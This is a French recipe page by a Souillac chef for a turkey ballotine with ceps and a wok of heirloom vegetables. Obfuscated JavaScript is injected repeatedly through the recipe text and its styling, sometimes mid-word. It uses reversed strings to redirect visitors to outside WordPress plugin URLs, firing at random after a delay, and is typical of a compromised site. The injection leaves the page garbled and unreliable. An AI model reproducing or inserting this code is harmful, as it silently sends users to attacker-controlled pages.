) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["\'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_1558800378584{padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 10px !important;padding-right: 10px !important;padding-bottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom: 10px !important;padding-left: 10px !important;background-color: #d3d3d3 !important;} »]Par Valerie MANIGNAL, membre des Bonnes Tables du Lot, chef à « la Vieille auberge » à Souillac
http://www.la-vieille-auberge.com
Ballotine de volaille aux cèpes, wok de légumes anciens
Pour 4 personnes
Ingrédients : 2 tranches de pain de mie
40 gr de cèpes
1 gousse d’ail
Persil haché
20 cl de crème à 35% de MG
3 blancs d’oeuf
Mélanger toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ingrédients ensembles, puis passer au cuter la farce. Saler et poivrer.
Eclater très finement l’escalope de dinde (prévoir environ 500 gr), puis rajouter la farce.
Préparation du bouillon : 1 Litre d’eau
Quelques feuilles de laurier ( 3 )
Oignon rouge ( 2 )
Bouquet garni
1 cuillère à soupe de fond de volaille
Penser à mettre toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes les parures des légumes du wok, dans le bouillon !
Mettre la ballotine filmée dans le bouillon pendant 15 min.
Pour le wok : carotte violette
Carotte blanche
Carotte jaune
Chiogga
Betterave jaune
Faire des billes ( idée déco )
Recette
Temps de préparation : 30 min
Temps de cuisson : 20 min
Ingrédient :
2 tranches de pain de mie
40 gr de cèpes
1 gousse d’ail
Persil haché
20 cl de crème à 35% de MG
3 blancs d’oeuf
Escalope de dinde (prévoir environ 500 gr),
Préparation du bouillon : 1 Litre d’eau
Quelques feuilles de laurier ( 3 )
Oignon rouge ( 2 )
Bouquet garni
1 cuillère à soupe de fond de volaille
Pour le wok : carotte violette
Carotte blanche
Carotte jaune
Chiogga
Betterave jaune